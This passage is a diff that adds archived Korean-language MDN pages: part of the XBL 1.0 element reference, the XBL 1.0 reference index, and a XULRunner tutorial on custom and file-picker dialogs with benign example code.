+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+</ul>
+<h2 id="field" name="field">field</h2>
+<pre>&lt;!ELEMENT field EMPTY&gt;
+&lt;!ATTLIST field
+   id               ID                  #IMPLIED
+   name             CDATA               #REQUIRED
+   readonly         (true|false)        #IMPLIED
+&gt;
+</pre>
+<p>A field is similar to a <code><a href="ko/XBL/XBL_1.0_Reference/Elements#property">property</a></code>, except that it should not have a getter or setter. It is useful as a simple holder for a value. The field element must have content which is code that determines the initial value of the field. The <code>field</code> tag must be inside the <code>implementation</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>name</b></code> - The name of the field. This is the name used to refer to the field on the bound element.</li>
+ <li><code><b>readonly</b></code> - If true, this field is read-only. If this attribute is omitted, the field will be readable and writable.</li>
+</ul>
+<div class="note">
+ <b>Note:</b>  In Firefox 3, fields are now evaluated the first time they're accessed instead of at binding attachment time. This shouldn't cause any problems in typical use cases, but there are cases in which this will impact the behavior of your code. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=372769" title="FIXED: [FIX]&lt;field> evaluation happens at an unsafe time">bug 372769</a> for details.</div>
+<p>Here are some examples of cases in which the behavior of your code may change due to this change in Firefox 3:</p>
+<ol>
+ <li>If you have two fields, one named <code>A</code> and one named <code>B</code>, and field <code>A</code> sets <code>.B</code>, the value of <code>.B</code> will depend on whether or not <code>.A</code> has already been accessed.</li>
+ <li>If a proto is inserted into the proto chain after binding instantiation, doing so may affect field values (this wasn't the case in prior versions of Firefox).</li>
+ <li>At binding attachment time, <code><span class="nowiki">&lt;field name="parentNode"&gt;this.parentNode&lt;/field&gt;</span></code> is undefined instead of the value of <code>parentNode</code>.</li>
+ <li>A field no longer changes the value of a property set on the object itself (rather than a proto) before binding attachment.</li>
+</ol>
+<h2 id="property" name="property">property</h2>
+<pre>&lt;!ENTITY % property-content "(getter?,setter?)"&gt;
+&lt;!ELEMENT property %property-content;&gt;
+&lt;!ATTLIST property
+   id               ID                  #IMPLIED
+   name             CDATA               #REQUIRED
+   readonly         (true|false)        #IMPLIED
+   onget            CDATA               #IMPLIED
+   onset            CDATA               #IMPLIED
+&gt;
+</pre>
+<p>The <code>property</code> element represents a single property of an implementation. A property consists of a pair of getter/setter functions that can be defined using <code>onget</code>/<code>onset</code> attributes or <a href="ko/XBL/XBL_1.0_Reference/Elements#getter">getter</a>/<a href="ko/XBL/XBL_1.0_Reference/Elements#setter">setter</a> elements underneath the <code>property</code> element. Like methods, once the binding is attached, the property can be obtained directly from the bound element. The <code>property</code> tag must be inside the <code>implementation</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>name</b></code> - The name of the property. This is the name used to refer to the property on the bound element.</li>
+ <li><code><b>readonly</b></code> - The <code>readonly</code> attribute is used to designate a property as read-only. If set to <code>true</code>, the value of the property cannot be altered. If this attribute is omitted, the property will be readable and writable.</li>
+ <li><code><b>onget</b></code> - The <code>onget</code> attribute's value is a script that executes when the value of the property is requested. If this attribute is set, any initial value contained underneath the element will be ignored. The return value of the script represents the value of the property that will be returned to the requestor. A property getter can also be specified as a child of the <code>property</code> element using the <code>getter</code> tag.</li>
+ <li><code><b>onset</b></code> - The <code>onset</code> attribute's value is a script that executes when the value of the property is being altered. If this attribute is set, any initial value contained underneath the element will be ignored. Within the script, the parameter <code>val</code> represents the new value being assigned. The script should always return the actual value assigned in order to allow for chained assignment operations. A property setter can also be specified as a child of the <code>property</code> element using a <code>setter</code> tag.</li>
+</ul>
+<h2 id="getter" name="getter">getter</h2>
+<pre>&lt;!ELEMENT getter PCDATA&gt;
+&lt;!ATTLIST getter
+   id               ID                  #IMPLIED
+&gt;
+</pre>
+<p>The <code>getter</code> element contains script that gets executed when a specific property gets called. The <code>getter</code> tag must be inside the <code>property</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+</ul>
+<h2 id="setter" name="setter">setter</h2>
+<pre>&lt;!ELEMENT setter PCDATA&gt;
+&lt;!ATTLIST setter
+   id               ID                  #IMPLIED
+&gt;
+</pre>
+<p>The <code>setter</code> element contains script that gets executed when a specific property is being set. The <code>setter</code> tag must be inside the <code>property</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+</ul>
+<h2 id="handlers" name="handlers">handlers</h2>
+<pre>&lt;!ENTITY % handlers-content "handler*"&gt;
+&lt;!ELEMENT handlers %handlers-content;&gt;
+&lt;!ATTLIST handlers
+   id               ID                  #IMPLIED
+&gt;
+</pre>
+<p>The <code>handlers</code> element contains event handlers that can be attached to elements within the bound document. These handlers are installed when the binding is attached and removed when the binding is detached. The <code>handlers</code> tag must be inside the <code>binding</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+</ul>
+<h2 id="handler" name="handler">handler</h2>
+<pre>&lt;!ENTITY % handler-content "PCDATA"&gt;
+&lt;!ELEMENT handler %handler-content;&gt;
+&lt;!ATTLIST handler
+   id               ID                                  #IMPLIED
+   event            NMREF                               #REQUIRED
+   action           CDATA                               #IMPLIED
+   phase            (capturing|bubbling|target)         #IMPLIED
+   button           (1|2|3)                             #IMPLIED
+   modifiers        CDATA                               #IMPLIED
+   keycode          CDATA                               #IMPLIED
+   key              CDATA                               #IMPLIED
+   charcode         CDATA                               #IMPLIED
+   clickcount       (1|2|3)                             #IMPLIED
+   command          ID                                  #IMPLIED
+   preventdefault   false|true                          #IMPLIED
+&gt;
+</pre>
+<p>The <code>handler</code> element describes a single event handler. This handler is attached to its target at the time the binding is attached and unhooked when the binding is detached from the bound element. The script inside the <code>handler</code> is executed when the event handler is matched. The <code>handler</code> tag must be inside the <code>handlers</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>event</b></code> - The <code>event</code> attribute describes the specific event that this handler is listening for. Its value can be any legal DOM event name (including custom events created using the DocumentEvent interface of the DOM).</li>
+ <li><code><b>action</b></code> - The <code>action</code> attribute contains script that is invoked when the handler fires. The <code>type</code> attribute on the enclosing <code>handlers</code> element determines the language of the script. The handler script can also be specified as a child of the <code>handler</code> element.</li>
+ <li><code><b>phase</b></code> - This attribute specifies the phase of the event flow that this handler should monitor. The possible values are <code>capturing</code>, <code>bubbling</code>, and <code>target</code>. If a phase is specified, the handler will only be invoked during that phase of the event handling process. If no phase is specified, a default of <code>bubbling</code> is assumed.</li>
+ <li><code><b>button</b></code> - The <code>button</code> attribute imposes a
+  <i>
+   filter</i>
+  on the handler. It is used with mouse handlers to specify a particular button. The event handler will only be matched if the value of the <code>button</code> field in the DOM mouse event object matches the value of the attribute.</li>
+ <li><code><b>modifiers</b></code> - The <code>modifiers</code> attribute imposes a filter on key and mouse handlers. Its value is a whitespace- or comma-separated list of modifier keys. If present in the list, then the modifier key must be set in the DOM event object in order for the handler to be matched. If the <code>modifiers</code> is not empty and the modifier is not present in the list, then the modifier key must not be set in the DOM event object in order for the handler to be matched.<br>
+  Supported modifiers are:
+  <ul>
+   <li><code>shift</code></li>
+   <li><code>alt</code></li>
+   <li><code>control</code></li>
+   <li><code>meta</code></li>
+   <li><code>accel</code> - the platform's primary accelerator key. It is left up to the user agent to decide which modifier key represents the primary key. (It's the Control key on Windows and Meta on Mac.)</li>
+   <li><code>accesskey</code> - the platform's primary shortcut mnemonic key should be used (the Alt key on Windows and Linux, has no effect on Mac).</li>
+  </ul>
+ </li>
+ <li><code><b>keycode</b></code> - The <code>keycode</code> attribute imposes a filter on key handlers. Its value is a key identifier for a specific keycode, e.g., <code>vk_enter</code>.<br>
+  <i>
+   [Editor's Note: A forthcoming DOM events specification will presumably outline the list of valid keycode strings.]</i>
+  <br>
+  If this attribute is present, then its value must match the <a href="ko/DOM/event.keyCode">keyCode</a> field of the DOM key event object in order for the handler to fire.</li>
+ <li><code><b>charcode</b></code> - The <code>charcode</code> attribute imposes a filter on key handlers. Its value is a single character, e.g., "<code>z</code>". If this attribute is present, then its value must match the <a href="ko/DOM/event.charCode">charCode</a> field of the DOM key event object in order for the handler to fire.<br>
+  <i>
+   [Editor's note: As DOM Events mature more attributes may be added. For example, mutation events define several new fields such as relatedTarget that could be supported in the filtering syntax.]</i>
+ </li>
+ <li><code><b>key</b></code> - The <code>key</code> attribute has the same meaning as <code>charcode</code>.</li>
+ <li><code><b>clickcount</b></code> - The <code>clickcount</code> attribute imposes a
+  <i>
+   filter</i>
+  on the handler. It is used with mouse handlers to specify how many times a button has been clicked. The event handler will only be matched if the value of the <code>clickcount</code> field in the DOM mouse event object matches the value of the attribute.</li>
+ <li><code><b>command</b></code> - The id of a command to invoke when the event occurs. If used in a non-chrome document, the entire handler will be ignored.</li>
+ <li><code><b>preventdefault</b></code> - If set to true, the default action of the event is not performed. See also <a href="ko/DOM/event.preventDefault">preventDefault</a> method of the Event object.</li>
+</ul>
+<h2 id="resources" name="resources">resources</h2>
+<pre>&lt;!ENTITY % resources-content "(image?,stylesheet?)"&gt;
+&lt;!ELEMENT resources %resources-content;&gt;
+&lt;!ATTLIST property
+   id               ID                  #IMPLIED
+&gt;
+</pre>
+<p>Used for inclusion of <a href="ko/XBL/XBL_1.0_Reference#image">image</a> elements, to cache them for later use, and for inclusion of <a href="ko/XBL/XBL_1.0_Reference#stylesheet">stylesheet</a> elements. The <code>resources</code> tag must be used directly inside the <code>binding</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+</ul>
+<h2 id="stylesheet" name="stylesheet">stylesheet</h2>
+<pre>&lt;!ELEMENT stylesheet EMPTY&gt;
+&lt;!ATTLIST stylesheet
+   id               ID                  #IMPLIED
+   src              URI                 #REQUIRED
+&gt;
+</pre>
+<p>The <code>stylesheet</code> element declares a style sheet used by the binding. The style rules in the style sheet will only be applied to the binding, not to other elements in the document. The <code>stylesheet</code> tag must be inside the <code>resources</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>src</b></code> - The URL of the style sheet to apply to the binding content.</li>
+</ul>
+<h2 id="image" name="image">image</h2>
+<pre>&lt;!ELEMENT image EMPTY&gt;
+&lt;!ATTLIST image
+   id               ID                  #IMPLIED
+   src              URI                 #REQUIRED
+&gt;
+</pre>
+<p>Declares an image resource used by the binding. The image is loaded as soon as the binding is used. You can use this to preload a number of images for later use. The <code>image</code> tag must be inside the <code>resources</code> tag.</p>
+<ul>
+ <li><code><b>id</b></code> - The <code>id</code> attribute is a document-unique identifier.</li>
+ <li><code><b>src</b></code> - The URL of the image to load.</li>
+</ul>
diff --git a/files/ko/archive/mozilla/xbl/xbl_1.0_reference/index.html b/files/ko/archive/mozilla/xbl/xbl_1.0_reference/index.html
new file mode 100644
index 0000000000..044d638e52
--- /dev/null
+++ b/files/ko/archive/mozilla/xbl/xbl_1.0_reference/index.html
@@ -0,0 +1,118 @@
+---
+title: XBL 1.0 Reference
+slug: Archive/Mozilla/XBL/XBL_1.0_Reference
+tags:
+  - XBL
+translation_of: Archive/Mozilla/XBL/XBL_1.0_Reference
+---
+<h3 id=".EC.B4.88.EB.A1.9D" name=".EC.B4.88.EB.A1.9D">초록</h3>
+<p>This document describes Extensible Binding Language (<a href="ko/XBL">XBL</a>) 1.0 as implemented in <a href="ko/Gecko">Gecko</a> browsers.</p>
+<p>Extensible Binding Language is a <a href="ko/XML">XML</a>-based markup language to implement reusable components (
+ <i>
+  bindings</i>
+ ) that can be bound to elements in other documents. The element with a binding specified, called the
+ <i>
+  bound element</i>
+ , acquires the new behavior specified by the binding. Bindings can be bound to elements using Cascading Style Sheets (<a href="ko/CSS">CSS</a>) or <a href="ko/DOM">DOM</a>. One element can be be bound to several bindings at once.</p>
+<p>Functionally bindings should be correlated with <a class="external" href="http://msdn.microsoft.com/workshop/components/htc/reference/htcref.asp">Behaviors</a> and <a class="external" href="http://msdn.microsoft.com/workshop/author/behaviors/overview/viewlink_ovw.asp">Viewlink</a> but being implemented as one integrated XML solution.</p>
+<p>Bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible from the bound element, and anonymous content that is inserted around the bound element.</p>
+<div class="note">
+ <p>There are numerous adjustments in the current implementation in comparison of <a class="external" href="http://www.w3.org/TR/xbl/">earlier XBL proposals</a>, and not all of them are reflected yet in this document. The documentation process is still in progress: please keep it in your mind while using the provided information.</p>
+</div>
+<h3 id="XBL_.EC.9A.94.EC.86.8C" name="XBL_.EC.9A.94.EC.86.8C"><a href="ko/XBL/XBL_1.0_Reference/Elements">XBL 요소</a></h3>
+<ul>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#bindings">bindings</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#binding">binding</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#_content">content</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#children">children</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#implementation">implementation</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#constructor">constructor</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#destructor">destructor</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#field">field</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#property">property</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#getter">getter</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#setter">setter</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#method">method</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#parameter">parameter</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#body">body</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#handlers">handlers</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#handler">handler</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#resources">resources</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#stylesheet">stylesheet</a></code></li>
+ <li><code><a href="ko/XBL/XBL_1.0_Reference/Elements#image">image</a></code></li>
+</ul>
+<h3 id="Binding_Attachment_and_Detachment" name="Binding_Attachment_and_Detachment"><a href="ko/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment">Binding Attachment and Detachment</a></h3>
+<ul>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment#Attachment_using_CSS">Attachment using CSS</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment#Attachment_using_element.style_property">Attachment using element.style property</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment#.3Cconstructor.3E_call">&lt;constructor&gt; call</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment#.3Cdestructor.3E_call">&lt;destructor&gt; call</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment#Binding_Documents">Binding Documents</a></li>
+</ul>
+<h3 id="DOM_Interfaces" name="DOM_Interfaces"><a href="ko/XBL/XBL_1.0_Reference/DOM_Interfaces">DOM Interfaces</a></h3>
+<ul>
+ <li><a href="ko/XBL/XBL_1.0_Reference/DOM_Interfaces#The_DocumentXBL_Interface">The DocumentXBL Interface</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/DOM_Interfaces#The_ElementXBL_Interface">The ElementXBL Interface</a></li>
+</ul>
+<h3 id="Anonymous_Content" name="Anonymous_Content"><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content">Anonymous Content</a></h3>
+<ul>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Introduction">Introduction</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Scoping_and_Access_Using_the_DOM">Scoping and Access Using the DOM</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Content_Generation">Content Generation</a>
+  <ul>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Rules_for_Generation">Rules for Generation</a></li>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#The_contentgenerated_Event">The contentgenerated Event</a></li>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#The_contentdestroyed_Event">The contentdestroyed Event</a></li>
+  </ul>
+ </li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Attribute_Forwarding">Attribute Forwarding</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Insertion_Points">Insertion Points</a>
+  <ul>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#.3Cchildren.3E_and_.3Celement.3E">&lt;children&gt; and &lt;element&gt;</a></li>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Handling_DOM_Changes">Handling DOM Changes</a></li>
+  </ul>
+ </li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Event_Flow_and_Targeting">Event Flow and Targeting</a>
+  <ul>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Flow_and_Targeting_Across_Scopes">Flow and Targeting Across Scopes</a></li>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Focus_and_Blur_Events">Focus and Blur Events</a></li>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Mouseover_and_Mouseout_Events">Mouseover and Mouseout Events</a></li>
+  </ul>
+ </li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Anonymous_Content_and_CSS">Anonymous Content and CSS</a>
+  <ul>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Selectors_and_Scopes">Selectors and Scopes</a></li>
+   <li><a href="ko/XBL/XBL_1.0_Reference/Anonymous_Content#Binding_Stylesheets">Binding Stylesheets</a></li>
+  </ul>
+ </li>
+</ul>
+<h3 id="Binding_Implementations" name="Binding_Implementations"><a href="ko/XBL/XBL_1.0_Reference/Binding_Implementations">Binding Implementations</a></h3>
+<ul>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Implementations#Introduction">Introduction</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Implementations#Methods">Methods</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Implementations#Properties">Properties</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Binding_Implementations#Inheritance_of_Implementations">Inheritance of Implementations</a></li>
+</ul>
+<h3 id="Event_Handlers" name="Event_Handlers"><a href="ko/XBL/XBL_1.0_Reference/Event_Handlers">Event Handlers</a></h3>
+<h3 id="Example_-_Sticky_Notes" name="Example_-_Sticky_Notes"><a href="ko/XBL/XBL_1.0_Reference/Example_Sticky_Notes">Example - Sticky Notes</a></h3>
+<p>Updated and adjusted for the current Firefox implementation.</p>
+<div class="note">
+ <p>This example is targeted to demonstrate the XBL usage rather than to be a practically useful application. For this reason it contains many comments and some blocks could be avoided in a more compact solution yet used here for demonstration purposes.</p>
+</div>
+<ul>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Example_Sticky_Notes#notes.html">notes.html</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Example_Sticky_Notes#notes.xml">notes.xml</a></li>
+ <li><a href="ko/XBL/XBL_1.0_Reference/Example_Sticky_Notes#notes.css">notes.css</a></li>
+</ul>
+<p><a class="external" href="http://www.nskom.com/external/xbl/notes.html">View this example</a></p>
+<p><br>
+ <span class="comment"><a class="external" href="http://www.nskom.com/external/xbl/notes.zip" title="http://www.nskom.com/external/xbl/notes.zip">Download all files (.zip archive)</a> need to ask to adjust the server - it gives "Access denied" for zip files (?)</span></p>
+<h3 id="References" name="References">References</h3>
+<p><a class="external" href="http://www.w3.org/TR/xbl/">Initial XBL 1.0 proposal submitted as a Note to W3C</a></p>
+<p><a class="external" href="http://www.mozilla.org/projects/xbl/xbl2.html">XBL 2.0 Project</a></p>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+  <li>Last Updated Date: April 24, 2006</li>
+ </ul>
+</div>
diff --git a/files/ko/archive/mozilla/xulrunner/dialogs_in_xulrunner/index.html b/files/ko/archive/mozilla/xulrunner/dialogs_in_xulrunner/index.html
new file mode 100644
index 0000000000..33b4f14f44
--- /dev/null
+++ b/files/ko/archive/mozilla/xulrunner/dialogs_in_xulrunner/index.html
@@ -0,0 +1,121 @@
+---
+title: Dialogs in XULRunner
+slug: Archive/Mozilla/XULRunner/Dialogs_in_XULRunner
+tags:
+  - XUL
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner/Dialogs_in_XULRunner
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/Windows_and_menus_in_XULRunner" style="float: left;">« 이전</a><br></p>
+</div><p></p>
+<p><a href="ko/Windows_and_menus_in_XULRunner">이전 기사에서는</a> 창, 메뉴, 도구바를 만드는데 사용되는 간단한 XUL에 대해 알아봤습니다. 이번에는 사용자 정의 대화상자와 표준 운영체제(공통) 대화상자에 대해 알아보겠습니다. 대화상자는 데스크탑 응용 프로그램를 구성하는 기본 요소들입니다. 어떤 종류의 대화상자는 너무 자주 사용되므로 OS에서 기본적인 구현을 제공하기도 합니다. 파일 열기와 저장 대화상자가 대표적인 예입니다. 가능하면 응용 프로그램간의 사용자가 느끼는 일관된 체험(일관성)을 유지하기 위해 제공되는 "기본(native)" 대화상자를 재활용하는 것이 좋습니다.</p>
+<h2 id=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.A0.95.EC.9D.98_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90" name=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.A0.95.EC.9D.98_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90">사용자 정의 대화상자</h2>
+<p>XUL로 대화상자를 만드는 것은 윈도우를 만드는 것과 아주 유사합니다. 대화상자는 독립된 XUL 파일에 정의됩니다. XUL에서는 대화상자의 컨테이너로 동작하는 <code><a href="/ko/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code> 요소를 제공합니다. 대화상자 XUL 파일은 윈도우와 마찬가지로 DTD, CSS, JavaScript를 포함할 수 있습니다. 아래는 XUL 대화상자의 예제입니다.</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;dialog id="myDialog" title="My Dialog"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+        onload="window.sizeToContent();"
+        buttons="accept,cancel"
+        buttonlabelaccept="Set Favorite"
+        buttonaccesskeyaccept="S"
+        ondialogaccept="return doSave();"
+        buttonlabelcancel="Cancel"
+        buttonaccesskeycancel="n"
+        ondialogcancel="return doCancel();"&gt;
+
+  &lt;script&gt;
+    function doSave(){
+     //doSomething()
+     return true;
+    }
+
+    function doCancel(){
+      return true;
+    }
+  &lt;/script&gt;
+
+  &lt;dialogheader title="My dialog" description="Example dialog"/&gt;
+  &lt;groupbox flex="1"&gt;
+    &lt;caption label="Select favorite fruit"/&gt;
+    &lt;radiogroup&gt;
+      &lt;radio id="1" label="Oranges because they are fruity"/&gt;
+      &lt;radio id="2" selected="true" label="Strawberries because of color"/&gt;
+      &lt;radio id="3" label="Bananna because it pre packaged"/&gt;
+    &lt;/radiogroup&gt;
+  &lt;/groupbox&gt;
+
+&lt;/dialog&gt;
+</pre>
+<p>XUL window 요소는 대화상자를 여는데(open) 사용되는 <code><a href="ko/DOM/window.openDialog">window.openDialog()</a></code>라는 특별한 메소드를 가지고 있습니다. 다음은 대화상자를 여는데 사용되는 코드입니다.</p>
+<pre class="eval">function openDialog() {
+  window.openDialog("<a class="external" rel="freelink">chrome://basicapp/content/dialog.xul</a>", "newdlg", "modal");
+}
+</pre>
+<p>Windows 200에서 위 코드로 열린 대화상자는 다음과 같으며, 다른 운영체제도 비슷한 모양세일 것입니다.</p>
+<p><img alt="Image:XULDialogExample.png"></p>
+<p><code><a href="/ko/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code> 요소에서 나의 눈을 사로잡은 첫번째는 버튼과 관련된 속성입니다. 개발자들이 좀 더 쉽게 접근하고 사용자들에게 일관성을 제공하기 위해 XUL은 핵심적인 대화상자 버튼("확인", "취소", "도움말" 등)들을 자동으로 만들고 배치해주는 메커니즘을 제공하고 있습니다.</p>
+<p>개발자는 필요한 버튼들을 명시하고 각 버튼에 대한 제목과 단축키 그리고 버튼이 눌러졌을 때 호출될 JavaScript 함수를 지정하기만 하면 됩니다. XUL이 대화상자내에서 버튼에 대한 위치와 스타일을 알아서 처리해 줍니다. 이러한 방식은, 운영체제들마다 대화상자 내 버튼의 위치가 고유의 컨벤션을 가지고 있다는 점을 생각해 보면, 크로스 플랫폼(cross-platform) 응용 프로그램을 개발하는데 있어 아주 좋은 환경을 제공해 준다고 할 수 있습니다.</p>
+<p>아래는 <code><a href="/ko/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code>에서 버튼과 관련된 속성들 중 일부 입니다. 도 참조해 보세요.</p>
+<dl>
+ <dt>
+  <code><a href="ko/XUL/Attribute/buttons">buttons</a></code></dt>
+ <dd>
+  대화상자에 표시할 버튼들의 쉼표로 분리된 목록(<code>accept</code>, <code>cancel</code>, <code>help</code>, <code>extra1</code>, and <code>extra2</code>).</dd>
+ <dt>
+  <code><a href="ko/XUL/Attribute/buttonlabelaccept">buttonlabelaccept</a></code></dt>
+ <dd>
+  확인 버튼을 위한 라벨, 다른 버튼에도 비슷한 속성이 존재합니다.</dd>
+ <dt>
+  <code><a href="ko/XUL/Attribute/buttonaccesskeyaccept">buttonaccesskeyaccept</a></code></dt>
+ <dd>
+  확인 버튼에 사용되는 단축키, 다른 버튼에도 비슷한 속성이 존재합니다.</dd>
+ <dt>
+  <code><a href="ko/XUL/Attribute/ondialogaccept">ondialogaccept</a></code></dt>
+ <dd>
+  확인 버튼이 눌러졌을때 실행될 JavaScript, 다른 버튼에도 비슷한 속성이 존재합니다.</dd>
+</dl>
+<p>XUL에는 다양한 종류의 입력 컨트롤들이 존재하며, 대화상자에도 사용할 수 있습니다. 이 후 기사에서는 현재 사용되고 있는, 그리고 앞으로 계획된 XUL 입력 컨트롤에 대해 좀 더 자세히 알아보려고 합니다. 제가 <code><span class="nowiki">&lt;dialogheader&gt;</span></code>를 사용하게 될지 확실하지 않지만, 이 하나의 요소만으로 간단하게 헤더를 만드는데 시간을 줄여줍니다.</p>
+<h2 id=".EA.B3.B5.ED.86.B5_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90" name=".EA.B3.B5.ED.86.B5_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90">공통 대화상자</h2>
+<p>가장 자주 사용되는 공통 대화상자는 파일 열기와 저장하기 입니다. 예를 들어 윈도우즈에서는 예전부터 내장된 파일 열기와 저장하기 대화상자를 제공하고 있고 Mac 또한 마찬가지 있습니다. 이러한 것들은 응용 프로그램 개발자들을 편하게 해 줄 뿐만 아니라 사용자들에게도 일관성 있는 인터페이스를 제공하여 사용하기 쉽게 해 줍니다. XUL에서도 filepicker(Mozilla에서는 파일 열기와 저장하기 대화상자를 이렇게 부릅니다)의 네이티브 구현을 지원하고 있습니다. 향후 릴리즈에서는 사용자가 원한다면 설정을 통해 XUL filepicker로 전환할 수 있는 기능을 제공할 것입니다. XUL filepicker는 <a href="ko/XPCOM">XPCOM</a> 컴포넌트로, 사용 전에 다음과 같이 초기화되어야 합니다.</p>
+<pre>function doFileOpen() {
+  /* See: http://developer.mozilla.org/en/docs/XUL_Tutorial:Open_and_Save_Dialogs */
+
+  var nsIFilePicker = Components.interfaces.nsIFilePicker;
+  var fp = Components.classes["@mozilla.org/filepicker;1"].createInstance(nsIFilePicker);
+
+  fp.init(window, "Open File", nsIFilePicker.modeOpen);
+  fp.appendFilters(nsIFilePicker.filterText | nsIFilePicker.filterAll);
+
+  var res = fp.show();
+  if (res == nsIFilePicker.returnOK) {
+    var thefile = fp.file;
+    alert(thefile.leafName);
+    // --- do something with the file here ---
+  }
+}
+</pre>
+<p>XUL에서 현재는 다른 공통 대화상자를 제공하고 있지는 못합니다. 향후 버전에서는 수정될 것입니다. Firefox와 Thunderbird는 모두 페이지 설정과 인쇄 공통 대화상자를 지원하고 있습니다. 또한 XUL에서는 마법사를 만드는 요소를 지원합니다.</p>
+<p>본 시리즈의 향후 기사들에서는 입력 컨트롤, 인쇄, 클립보드, XPCOM에 대해서 알아볼 것입니다.</p>
+<h2 id=".EC.B0.B8.EA.B3.A0_.EB.AC.B8.EC.84.9C" name=".EC.B0.B8.EA.B3.A0_.EB.AC.B8.EC.84.9C">참고 문서</h2>
+<ul>
+ <li><a href="ko/XUL/dialog">XUL:dialog</a></li>
+ <li><a class="external" href="http://www.xulplanet.com/tutorials/xultu/dialogs.html">Creating dialogs</a></li>
+ <li><a href="ko/XUL_Tutorial/Creating_Dialogs">XUL Tutorial:Creating Dialogs</a></li>
+ <li><a href="ko/NsIFilePicker">nsIFilePicker</a></li>
